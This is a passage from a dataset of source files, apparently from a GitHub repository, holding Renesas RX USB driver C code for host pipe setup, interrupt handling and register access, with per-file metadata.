R_BSP_HardwareUnlock((mcu_lock_t)(BSP_LOCK_DMAC0 + channel));\n }\n }\n\n if (0 == dmac_lock_num)\n {\n ret = true;\n }\n else\n {\n ret = false;\n }\n#endif\n\n return ret;\n}\n\n\n/* End of File */\n\n" }, { "alpha_fraction": 0.4011901319026947, "alphanum_fraction": 0.41150468587875366, "avg_line_length": 44.12787628173828, "blob_id": "6575fabb92b0be49ec3795a7a56fe73c3b7906f6", "content_id": "40f19921e6b4e554851b1d4f319ae0516c412801", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 17645, "license_type": "no_license", "max_line_length": 120, "num_lines": 391, "path": "/r_usb_basic/src/driver/host/r_usb_hlibusbip.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_hlibusbip.c\n* Description : USB IP Host library.\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Support Multi device.\n***********************************************************************************************************************/\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n#if (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP)\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\n\n\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n\n/******************************************************************************\nRenesas Abstracted Host Lib IP functions\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_SetDevAddr\nDescription : Set USB speed (Full/Hi) of the connected USB Device.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t addr : device address\n : uint16_t speed : device speed\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_SetDevAddr(USB_UTR_t *ptr, uint16_t addr, uint16_t speed, uint16_t port)\n{\n if( addr == USB_DEVICE_0 )\n {\n usb_creg_write_dcpmxps( ptr, (uint16_t)(USB_DEFPACKET + USB_DEVICE_0));\n }\n usb_hreg_set_usbspd( ptr, addr, (speed | port) );\n}\n/******************************************************************************\nEnd of function usb_hstd_SetDevAddr\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_BchgEnable\nDescription : Enable BCHG interrupt for the specified USB port.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_BchgEnable(USB_UTR_t *ptr, uint16_t port)\n{\n\n usb_hreg_clr_sts_bchg( ptr, port );\n usb_hreg_set_enb_bchge( ptr, port );\n\n}\n/******************************************************************************\nEnd of function usb_hstd_BchgEnable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_BchgDisable\nDescription : Disable BCHG interrupt for specified USB port.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_BchgDisable(USB_UTR_t *ptr, uint16_t port)\n{\n\n usb_hreg_clr_sts_bchg( ptr, port );\n usb_hreg_clr_enb_bchge( ptr, port );\n\n}\n/******************************************************************************\nEnd of function usb_hstd_BchgDisable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_SetUact\nDescription : Start sending SOF to the connected USB device.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_SetUact(USB_UTR_t *ptr, uint16_t port)\n{\n usb_creg_rmw_dvstctr( ptr, port, USB_UACT, (USB_USBRST | USB_RESUME | USB_UACT) );\n}\n/******************************************************************************\nEnd of function usb_hstd_SetUact\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_OvrcrEnable\nDescription : Enable OVRCR interrupt of the specified USB port.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_OvrcrEnable(USB_UTR_t *ptr, uint16_t port)\n{\n\n usb_hreg_clr_sts_ovrcr( ptr, port );\n usb_hreg_set_enb_ovrcre( ptr, port );\n\n}\n/******************************************************************************\nEnd of function usb_hstd_OvrcrEnable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_OvrcrDisable\nDescription : Disable OVRCR interrupt of the specified USB port.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_OvrcrDisable(USB_UTR_t *ptr, uint16_t port)\n{\n /* OVRCR Clear(INT_N edge sense) */\n usb_hreg_clr_sts_ovrcr( ptr, port );\n /* Over-current disable */\n usb_hreg_clr_enb_ovrcre( ptr, port );\n}\n/******************************************************************************\nEnd of function usb_hstd_OvrcrDisable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_AttchEnable\nDescription : Enable ATTCH (attach) interrupt of the specified USB port.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_AttchEnable(USB_UTR_t *ptr, uint16_t port)\n{\n\n /* ATTCH status Clear */\n usb_hreg_clr_sts_attch( ptr, port );\n /* Attach enable */\n usb_hreg_set_enb_attche( ptr, port );\n\n}\n/******************************************************************************\nEnd of function usb_hstd_AttchEnable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_AttchDisable\nDescription : Disable ATTCH (attach) interrupt of the specified USB port.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_AttchDisable(USB_UTR_t *ptr, uint16_t port)\n{\n\n /* ATTCH Clear(INT_N edge sense) */\n usb_hreg_clr_sts_attch( ptr, port );\n /* Attach disable */\n usb_hreg_clr_enb_attche( ptr, port );\n\n}\n/******************************************************************************\nEnd of function usb_hstd_AttchDisable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_DtchEnable\nDescription : Enable DTCH (detach) interrupt of the specified USB port. \nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_DtchEnable(USB_UTR_t *ptr, uint16_t port)\n{\n\n /* DTCH Clear */\n usb_hreg_clr_sts_dtch( ptr, port );\n /* Detach enable */\n usb_hreg_set_enb_dtche( ptr, port );\n\n}\n/******************************************************************************\nEnd of function usb_hstd_DtchEnable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_DtchDisable\nDescription : Disable DTCH (detach) interrupt of the specified USB port. \nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t port : root port\nReturn value : none\n******************************************************************************/\nvoid usb_hstd_DtchDisable(USB_UTR_t *ptr, uint16_t port)\n{\n\n /* DTCH Clear(INT_N edge sense) */\n usb_hreg_clr_sts_dtch( ptr, port );\n /* Detach disable */\n usb_hreg_clr_enb_dtche( ptr, port );\n\n}\n/******************************************************************************\nEnd of function usb_hstd_DtchDisable\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_SetPipeRegister\nDescription : Set up USB registers to use specified pipe (given in infor-\n : mation table).\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t pipe_no : pipe number\n : uint16_t *tbl : pipe information table \nReturn value : none\n******************************************************************************/\nvoid usb_hstd_SetPipeRegister(USB_UTR_t *ptr, uint16_t pipe_no, uint16_t *tbl)\n{\n uint16_t i, pipe, buf;\n\n /* PIPE USE check */\n if( pipe_no == USB_USEPIPE )\n {\n /* Current FIFO port Clear */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n /* EP Table loop */\n for( i = 0; tbl[i] != USB_PDTBLEND; i += USB_EPL )\n {\n /* PipeNo Number */\n pipe = (uint16_t)(tbl[i + 0] & USB_CURPIPE);\n /* PIPE Setting */\n usb_cstd_pipe_init(ptr, pipe, tbl, i);\n }\n }\n else\n {\n /* Current FIFO port Clear */\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_CUSE, USB_NO);\n buf = usb_creg_read_fifosel( ptr, USB_D0USE );\n if( (buf & USB_CURPIPE) == pipe_no )\n {\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D0USE, USB_NO);\n }\n buf = usb_creg_read_fifosel( ptr, USB_D1USE );\n if( (buf & USB_CURPIPE) == pipe_no )\n {\n usb_cstd_chg_curpipe(ptr, (uint16_t)USB_PIPE0, (uint16_t)USB_D1USE, USB_NO);\n }\n /* EP Table loop */\n for( i = 0; tbl[i] != USB_PDTBLEND; i += USB_EPL )\n {\n /* PipeNo Number */\n pipe = (uint16_t)(tbl[i + 0] & USB_CURPIPE);\n if( pipe == pipe_no )\n {\n /* PIPE Setting */\n usb_cstd_pipe_init(ptr, pipe, tbl, i);\n }\n }\n }\n}\n/******************************************************************************\nEnd of function usb_hstd_SetPipeRegister\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_GetRootport\nDescription : Get USB port no. set in the USB register based on the speci-\n : fied USB Device address.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t addr : device address\nReturn value : uint16_t : root port number\n******************************************************************************/\nuint16_t usb_hstd_GetRootport(USB_UTR_t *ptr, uint16_t addr)\n{\n uint16_t buffer;\n\n /* Get device address configuration register from device address */\n buffer = usb_hreg_read_devadd( ptr, addr );\n if( buffer != USB_ERROR )\n {\n /* Return root port number */\n return (uint16_t)(buffer & USB_RTPORT);\n }\n return USB_ERROR;\n}\n/******************************************************************************\nEnd of function usb_hstd_GetRootport\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_hstd_ChkDevAddr\nDescription : Get USB speed set in USB register based on the specified USB \n : Device address and USB port no.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t addr : device address\n : uint16_t rootport : root port\nReturn value : uint16_t : USB speed etc\n******************************************************************************/\nuint16_t usb_hstd_ChkDevAddr(USB_UTR_t *ptr, uint16_t addr, uint16_t rootport)\n{\n uint16_t buffer;\n\n /* Get device address configuration register from device address */\n buffer = usb_hreg_read_devadd( ptr, addr );\n if( buffer != USB_ERROR )\n {\n if( (uint16_t)(buffer & USB_RTPORT) == rootport )\n {\n /* Return Address check result */\n return (uint16_t)(buffer & USB_USBSPD);\n }\n }\n return USB_NOCONNECT;\n}\n/******************************************************************************\nEnd of function usb_hstd_ChkDevAddr\n******************************************************************************/\n\n/******************************************************************************\nFunction Name : usb_hstd_GetDevSpeed\nDescription : Get USB speed set in USB register based on the specified USB \n : Device address.\nArguments : USB_UTR_t *ptr : USB system internal structure.\n : uint16_t addr : device address\nReturn value : uint16_t : device speed\nNote : Use also to a connection check is possible\n******************************************************************************/\nuint16_t usb_hstd_GetDevSpeed(USB_UTR_t *ptr, uint16_t addr)\n{\n uint16_t buffer;\n\n /* Get device address configuration register from device address */\n buffer = usb_hreg_read_devadd( ptr, addr );\n if( buffer != USB_ERROR )\n {\n /* Return device speed */\n return (uint16_t)(buffer & USB_USBSPD);\n }\n return USB_NOCONNECT;\n}\n/******************************************************************************\nEnd of function usb_hstd_GetDevSpeed\n******************************************************************************/\n\n#endif /* (USB_FUNCSEL_USBIP0_PP == USB_HOST_PP) || (USB_FUNCSEL_USBIP1_PP == USB_HOST_PP) */\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.3592545688152313, "alphanum_fraction": 0.3681334853172302, "avg_line_length": 47.11737060546875, "blob_id": "7df1e0fc342c60df26087f10259ff7a69214f6e0", "content_id": "16c6a2aeb4fe6bc182da62944563a738d276ce61", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 10249, "license_type": "no_license", "max_line_length": 120, "num_lines": 213, "path": "/r_usb_basic/src/driver/comm/r_usb_cintfifo.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_cintfifo.c\n* Description : USB Host and Peripheral interrupt code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n\n\n/******************************************************************************\nExternal variables and functions\n******************************************************************************/\nvoid usb_cstd_nrdy_endprocess( USB_UTR_t *ptr, uint16_t pipe );\nextern void usb_cstd_brdy_pipe(void);\n/******************************************************************************\nPrivate global variables and functions\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_BrdyPipe\nDescription : Search for the PIPE No. that BRDY interrupt occurred, and \n request data transmission/reception from the PIPE\nArguments : USB_UTR_t *ptr\n : uint16_t bitsts ; BRDYSTS Register & BRDYENB Register\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_BrdyPipe(USB_UTR_t *ptr, uint16_t bitsts)\n{\n usb_cstd_brdy_pipe();\n}\n/******************************************************************************\nEnd of function usb_cstd_BrdyPipe\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_NrdyPipe\nDescription : Search for PIPE No. that occurred NRDY interrupt, and execute \n the process for PIPE when NRDY interrupt occurred\nArguments : USB_UTR_t *ptr\n : uint16_t bitsts ; NRDYSTS Register & NRDYENB Register\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_NrdyPipe(USB_UTR_t *ptr, uint16_t bitsts)\n{\n/* PERI spec */\n/* Transmitting pipe */\n/* @5 a) only NRDY */\n/* @1 b) NRDY+OVRN (Isochronous) */\n/* Receive pipe */\n/* @5 a) only NRDY */\n/* @1 b) NRDY+OVRN (Isochronous) */\n/* @2 c) only NRDY (interval error of isochronous) */\n/* HOST spec */\n/* Transmitting pipe */\n/* @1 a) NRDY+OVRN (Isochronous) */\n/* @4 b) NRDY+NAK (Ignore) */\n/* @3 c) NRDY+STALL (Receive STALL) */\n/* Receive pipe */\n/* @1 a) NRDY+OVRN (Isochronous) */\n/* @4 b) NRDY+NAK (Ignore) */\n/* @2 c) NRDY (Ignore of isochronous) */\n/* @2 d) NRDY (CRC error of isochronous) */\n/* @3 e) NRDY+STALL (Receive STALL) */\n\n uint16_t buffer, i;\n\n for( i = USB_MIN_PIPE_NO; i <= USB_MAX_PIPE_NO; i++ )\n {\n if( (bitsts & USB_BITSET(i)) != 0 )\n {\n /* Interrupt check */\n if( usb_gcstd_Pipe[ptr->ip][i] != USB_NULL )\n {\n if( usb_cstd_GetPipeType(ptr, i) == USB_ISO )\n {\n /* Wait for About 60ns */\n buffer = usb_creg_read_frmnum( ptr );\n if( (buffer & USB_OVRN) == USB_OVRN )\n {\n /* @1 */\n /* End of data transfer */\n usb_cstd_ForcedTermination(ptr, i, (uint16_t)USB_DATA_OVR);\n USB_PRINTF1(\"###ISO OVRN %d\\n\", usb_gcstd_DataCnt[ptr->ip][i]);\n }\n else\n {\n /* @2 */\n /* End of data transfer */\n usb_cstd_ForcedTermination(ptr, i, (uint16_t)USB_DATA_ERR);\n }\n }\n else\n {\n usb_cstd_nrdy_endprocess( ptr, i );\n }\n }\n }\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_NrdyPipe\n******************************************************************************/\n\n\n/******************************************************************************\nFunction Name : usb_cstd_BempPipe\nDescription : Search for PIPE No. that BEMP interrupt occurred, and complete data transmission for the PIPE\nArguments : USB_UTR_t *ptr\n : uint16_t bitsts ; BEMPSTS Register & BEMPENB Register\nReturn value : none\n******************************************************************************/\nvoid usb_cstd_BempPipe(USB_UTR_t *ptr, uint16_t bitsts)\n{\n uint16_t buffer, i;\n uint16_t useport;\n\n for( i = USB_MIN_PIPE_NO; i <= USB_PIPE5; i++ )\n {\n if( (bitsts & USB_BITSET(i)) != 0 )\n {\n /* Interrupt check */\n if( usb_gcstd_Pipe[ptr->ip][i] != USB_NULL )\n {\n buffer = usb_cstd_GetPid(ptr, i);\n /* MAX packet size error ? */\n if( (buffer & USB_PID_STALL) == USB_PID_STALL )\n {\n USB_PRINTF1(\"### STALL Pipe %d\\n\", i);\n usb_cstd_ForcedTermination(ptr, i, (uint16_t)USB_DATA_STALL);\n }\n else\n {\n if( (usb_creg_read_pipectr( ptr, i ) & USB_INBUFM) != USB_INBUFM )\n {\n /* Pipe number to FIFO port select */\n useport = usb_cstd_Pipe2Fport(ptr, i);\n if( useport == USB_D0DMA )\n {\n#ifdef USB_DTC_ENABLE\n usb_creg_clr_sts_bemp( ptr, i );\n#endif /* USB_DTC_ENABLE */\n }\n /* End of data transfer */\n usb_cstd_DataEnd(ptr, i, (uint16_t)USB_DATA_NONE);\n }\n }\n }\n }\n }\n for( i = USB_PIPE6; i <= USB_MAX_PIPE_NO; i++ )\n {\n /* Interrupt check */\n if( (bitsts & USB_BITSET(i)) != 0 )\n {\n if( usb_gcstd_Pipe[ptr->ip][i] != USB_NULL )\n {\n buffer = usb_cstd_GetPid(ptr, i);\n /* MAX packet size error ? */\n if( (buffer & USB_PID_STALL) == USB_PID_STALL )\n {\n USB_PRINTF1(\"### STALL Pipe %d\\n\", i);\n usb_cstd_ForcedTermination(ptr, i, (uint16_t)USB_DATA_STALL);\n }\n else\n {\n /* End of data transfer */\n usb_cstd_DataEnd(ptr, i, (uint16_t)USB_DATA_NONE);\n }\n }\n }\n }\n}\n/******************************************************************************\nEnd of function usb_cstd_BempPipe\n******************************************************************************/\n\n/******************************************************************************\nEnd Of File\n******************************************************************************/\n" }, { "alpha_fraction": 0.4515725374221802, "alphanum_fraction": 0.46427902579307556, "avg_line_length": 38.580116271972656, "blob_id": "69ff535ad631b72f5d437bfb728efad706f13b78", "content_id": "30f0269f619f7ca2c7cceb30c7c9ab31ce2ef42e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 101523, "license_type": "no_license", "max_line_length": 120, "num_lines": 2565, "path": "/r_usb_basic/src/HW/comm/r_usb_creg_access.c", "repo_name": "ustropo/MT01", "src_encoding": "UTF-8", "text": "/***********************************************************************************************************************\n* DISCLAIMER\n* This software is supplied by Renesas Electronics Corporation and is only intended for use with Renesas products. No\n* other uses are authorized. This software is owned by Renesas Electronics Corporation and is protected under all\n* applicable laws, including copyright laws.\n* THIS SOFTWARE IS PROVIDED \"AS IS\" AND RENESAS MAKES NO WARRANTIES REGARDING\n* THIS SOFTWARE, WHETHER EXPRESS, IMPLIED OR STATUTORY, INCLUDING BUT NOT LIMITED TO WARRANTIES OF MERCHANTABILITY,\n* FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. ALL SUCH WARRANTIES ARE EXPRESSLY DISCLAIMED. TO THE MAXIMUM\n* EXTENT PERMITTED NOT PROHIBITED BY LAW, NEITHER RENESAS ELECTRONICS CORPORATION NOR ANY OF ITS AFFILIATED COMPANIES\n* SHALL BE LIABLE FOR ANY DIRECT, INDIRECT, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES FOR ANY REASON RELATED TO THIS\n* SOFTWARE, EVEN IF RENESAS OR ITS AFFILIATES HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n* Renesas reserves the right, without notice, to make changes to this software and to discontinue the availability of\n* this software. By using this software, you agree to the additional terms and conditions found by accessing the\n* following link:\n* http://www.renesas.com/disclaimer\n*\n* Copyright (C) 2014(2015) Renesas Electronics Corporation. All rights reserved.\n***********************************************************************************************************************/\n/***********************************************************************************************************************\n* File Name : r_usb_creg_access.c\n* Description : USB IP register access code\n***********************************************************************************************************************/\n/**********************************************************************************************************************\n* History : DD.MM.YYYY Version Description\n* : 04.01.2014 1.00 First Release\n* : 30.01.2015 1.01 Added RX71M.\n***********************************************************************************************************************/\n\n\n/******************************************************************************\nIncludes <System Includes> , \"Project Includes\"\n******************************************************************************/\n#include \"r_usb_basic_if.h\"\n#include \"r_usb_reg_access.h\"\n\n\n/******************************************************************************\nConstant macro definitions\n******************************************************************************/\n#define USB_TYPE_NUM_SHIFT 14\n#define USB_MXPS_NUM_SHIFT 0\n\n\n/*************/\n/* SYSCFG */\n/*************/\n/* System Configuration Control Register. */\n\n/******************************************************************************\nFunction Name : usb_creg_read_syscfg\nDescription : Returns the specified port's SYSCFG register value.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : Port number (not used $REA)\nReturn value : SYSCFG content.\n******************************************************************************/\nuint16_t usb_creg_read_syscfg( USB_UTR_t *ptr, uint16_t port )\n{\n return ptr->ipp->SYSCFG.WORD;\n} /* eof usb_creg_read_syscfg() */\n\n/******************************************************************************\nFunction Name : usb_creg_write_syscfg\nDescription : Write specified value to the SYSCFG register of the given port.\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : Port number (only port 0 used $REA)\n : uint16_t data : Value to write.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_write_syscfg( USB_UTR_t *ptr, uint16_t port, uint16_t data )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->SYSCFG.WORD = data;\n }\n} /* eof usb_creg_write_syscfg */\n\n/******************************************************************************\nFunction Name : usb_creg_set_xtal\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : USB system internal data.\n : uint16_t data : Not used for 597ASSP silicon.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_xtal( USB_UTR_t *ptr, uint16_t data )\n{\n} /* eof usb_creg_set_xtal() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_xcke\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : USB system internal data.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_xcke( USB_UTR_t *ptr )\n{\n} /* eof usb_creg_set_xcke() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_scke\nDescription : Enable USB module clock.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn value : -\n******************************************************************************/\nvoid usb_creg_set_scke( USB_UTR_t *ptr )\n{\n ptr->ipp->SYSCFG.WORD |= USB_SCKE;\n} /* eof usb_creg_set_xcke */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_scke\nDescription : Disable USB module clock.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn value : -\n******************************************************************************/\nvoid usb_creg_clr_scke( USB_UTR_t *ptr )\n{\n ptr->ipp->SYSCFG.WORD &= ~USB_SCKE;\n} /* eof usb_creg_clr_scke() */\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n/******************************************************************************\nFunction Name : usb_creg_set_cnen\nDescription : Enable single end receiver.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn value : -\n******************************************************************************/\nvoid usb_creg_set_cnen( USB_UTR_t *ptr )\n{\n ptr->ipp1->SYSCFG.WORD |= USB_CNEN;\n} /* eof usb_creg_set_xcke */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_cnen\nDescription : Disable single end receiver.\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\nReturn value : -\n******************************************************************************/\nvoid usb_creg_clr_cnen( USB_UTR_t *ptr )\n{\n ptr->ipp1->SYSCFG.WORD &= ~USB_CNEN;\n} /* eof usb_creg_clr_scke() */\n#endif /*defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n/******************************************************************************\nFunction Name : usb_creg_set_hse\nDescription : Not processed as the functionality is provided by R8A66597(ASSP).\nArguments : USB_UTR_t *ptr : Not used.\n : uint16_t port : Not used.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_hse( USB_UTR_t *ptr, uint16_t port )\n{\n#if defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M)\n if ( ptr->ip == USB_USBIP_1 )\n {\n ptr->ipp1->SYSCFG.WORD |= USB_HSE;\n }\n#endif /*defined(BSP_MCU_RX64M) || defined(BSP_MCU_RX71M) */\n} /* eof usb_creg_set_hse() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_hse\nDescription : Clears HSE bit of the specified port's SYSCFG register\nArguments : USB_UTR_t *ptr : USB system internal structure. Selects channel.\n : uint16_t port : Port number\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_hse( USB_UTR_t *ptr, uint16_t port )\n{\n if ( ptr->ip == USB_USBIP_1 )\n {\n ptr->ipp->SYSCFG.WORD &= ~USB_HSE;\n }\n} /* eof usb_creg_clr_hse() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_dcfm\nDescription : DCFM-bit set of register SYSCFG\n : (USB Host mode is selected.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_dcfm( USB_UTR_t *ptr )\n{\n ptr->ipp->SYSCFG.WORD |= USB_DCFM;\n} /* eof usb_creg_set_dcfm() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_dcfm\nDescription : DCFM-bit clear of register SYSCFG.\n : (USB Peripheral mode is selected.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_dcfm( USB_UTR_t *ptr )\n{\n ptr->ipp->SYSCFG.WORD &= ~USB_DCFM;\n} /* eof usb_creg_clr_dcfm() */\n\n/******************************************************************************\nFunction Name : usb_creg_set_drpd\nDescription : Set bit of the specified port's SYSCFG DRPD register.\n : (for USB Host mode; set D + / D-line PullDown.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : USB port number.\nReturn value : none\n******************************************************************************/\nvoid usb_creg_set_drpd( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n ptr->ipp->SYSCFG.WORD |= USB_DRPD;\n }\n} /* eof usb_creg_set_drpd() */\n\n/******************************************************************************\nFunction Name : usb_creg_clr_drpd\nDescription : Clear bit of the specified port's SYSCFG DRPD register.\n : (for USB Host mode; Enable D + / D-line PullDown.)\nArguments : USB_UTR_t *ptr : USB internal structure. Selects USB channel.\n : uint16_t port : Port number\nReturn value : none\n******************************************************************************/\nvoid usb_creg_clr_drpd( USB_UTR_t *ptr, uint16_t port )\n{\n if( USB_PORT0 == port )\n {\n 